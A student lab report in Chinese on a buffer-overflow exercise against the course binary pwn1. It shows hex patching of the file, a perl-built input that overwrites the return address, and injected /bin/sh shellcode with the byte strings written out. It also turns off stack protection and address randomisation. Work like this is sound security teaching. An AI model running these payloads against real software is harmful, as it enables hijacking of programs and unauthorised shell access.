1. 程式人生 > >2018-2019-2 20165232《網絡對抗技術》Exp1 緩沖區溢出實驗

2018-2019-2 20165232《網絡對抗技術》Exp1 緩沖區溢出實驗

十六 切換 ont spa 技術 shell函數 字節 roo 字符串

2018-2019-2 20165232《網絡對抗技術》Exp1 緩沖區溢出實驗

實驗點1:逆向及Bof基礎實踐

實踐任務

用一個pwn1文件。 該程序正常執行流程是:main調用foo函數,foo函數會回顯任何用戶輸入的字符串。 該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不被運行的。實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這個代碼片段,然後學習如何註入運行任何Shellcode。

三個實踐內容

  1. 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
  2. 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
  3. 註入一個自己制作的shellcode並運行這段shellcode。 這幾種思路,基本代表現實情況中的攻擊目標: 運行原本不可訪問的代碼片段 強行修改程序執行流 以及註入運行任意代碼。

基礎知識

  • NOP, JNE, JE, JMP, CMP匯編指令的機器碼
  1. NOP:NOP指令即“空指令”。執行到NOP指令時,CPU什麽也不做,僅僅當做一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)
  2. JNE:條件轉移指令,如果不相等則跳轉。(機器碼:75) -JE:條件轉移指令,如果相等則跳轉。(機器碼:74)
  3. JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB) 段內直接近轉移Jmp near(機器碼:E9) 段內間接轉移 Jmp word(機器碼:FF) 段間直接(遠)轉移Jmp far(機器碼:EA)
  4. CMP:比較指令,功能相當於減法指令,只是對操作數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其他相關指令通過識別這些被影響的標誌寄存器位來得知比較結果。

常用的Linux基本操作

  1. objdump -d:從objfile中反匯編那些特定指令機器碼的section。
  2. perl -e:後面緊跟單引號括起來的字符串,表示在命令行要執行的命令。
  3. xxd:為給定的標準輸入或者文件做一次十六進制的輸出,它也可以將十六進制輸出轉換為原來的二進制格式。 -ps -ef:顯示所有進程,並顯示每個進程的UID,PPIP,C與STIME欄位。
  4. |:管道,將前者的輸出作為後者的輸入。
  5. :輸入輸出重定向符,將前者輸出的內容輸入到後者中

實驗步驟:

  • 用 objdump -d pwn1 看其匯編代碼(圖中是pwn3,做完了寫博客截圖用)技術分享圖片
    e8表示“call”,後面的d7 ff ff ff是要跳轉的地址,只要改成e3 ff ff ff就會跳到getShell函數(通過偏移量得出)。
  • vim pwn1 進入命令模式
  • 輸入 :%!xxd 將顯示模式切換為十六進制
  • 在底行模式輸入/e8d7定位需要修改的地方,並確認
  • 進入插入模式,修改d7為c3
  • 輸入 :%!xxd -r
  • 將十六進制轉換為原格式
  • 使用 :wq 保存並退出 然後 ./pwn1 運行就可以了技術分享圖片技術分享圖片技術分享圖片技術分享圖片

    實驗點2:自己構造輸入參數使緩沖區溢出,參數溢出部分為getShell函數的地址

    系統讀入字符串留32字節緩沖區,輸入超過32字節就會溢出,就用溢出的部分去覆蓋返回地址

思路:

  • 反匯編pwn1文件找到getShell的地址:0804847d
  • 輸入參數,使32字節後面內容為地址0804847d對應的數
  • 執行文件

步驟

  1. (已知getshell地址為0804847d,)
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input  生成一個input文件,參數已經構造好的
xxd input  可以查看構造的文件.
(cat input; cat) | ./pwn1  命令輸入參數

技術分享圖片

實驗點3:註入shellcode並執行(RNS)

  • 首先使用 apt-get install execstack 命令安裝execstack。 然後接連輸入:
- root@KaliYL:~# execstack -s pwn1 //設置堆棧可執行
root@KaliYL:~# execstack -q pwn1 //查詢文件的堆棧是否可執行 X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomizevaspace 
2 
root@KaliYL:~# echo "0" > /proc/sys/kernel/
randomizevaspace //關閉地址隨機化
root@KaliYL:~# more /proc/sys/kernel/randomizevaspace
0

目標:向foo函數輸入參數,造成緩沖區溢出,改變foo的返回地址,,跳到shellcode。也就是,找到foo函數的返回的地址,將其改成shellcode開始的地址 步驟:

 

- 使用命令   perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

註入,前面32個A用來填滿buf,\x04\x03\x02\x01為預留的返回地址,下面找這個返回地址。

  • 在一個終端裏用 (cat input_shellcode;cat) | ./pwn1 註入這段攻擊,回車後不要動這個終端,然後去打開另一個終端。

  • 在第二個終端中

  1. ps -ef | grep pwn 查看pwn進程號
  2. 用gdb, attach 11031 去調試這個進程
  3. disassemble foo 命令反匯編,通過設置斷點,來查看註入buf的內存地址:
  4. 用 break *0x080484ae 命令設置斷點,輸入c命令(continue)繼續運行,同時在pwn1進程正在運行的終端敲回車,使其繼續執行。再返回調試終端,使用info r esp命令查找地址
  5. 用x/16x 0xffffd2ac命令查看其存放內容,看到了0x01020304,就是返回地址的位置。根據我們構造的input_shellcode可知,shellcode就在其後,所以地址應為0xffffd2b0
  6. 接下來只需要將之前的\x4\x3\x2\x1改為這個地址即可,用命令
perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  1. 再用
(cat input_shellcode;cat) | ./pwn1

命令次執行程序,攻擊成功!
技術分享圖片
技術分享圖片
技術分享圖片
技術分享圖片

2018-2019-2 20165232《網絡對抗技術》Exp1 緩沖區溢出實驗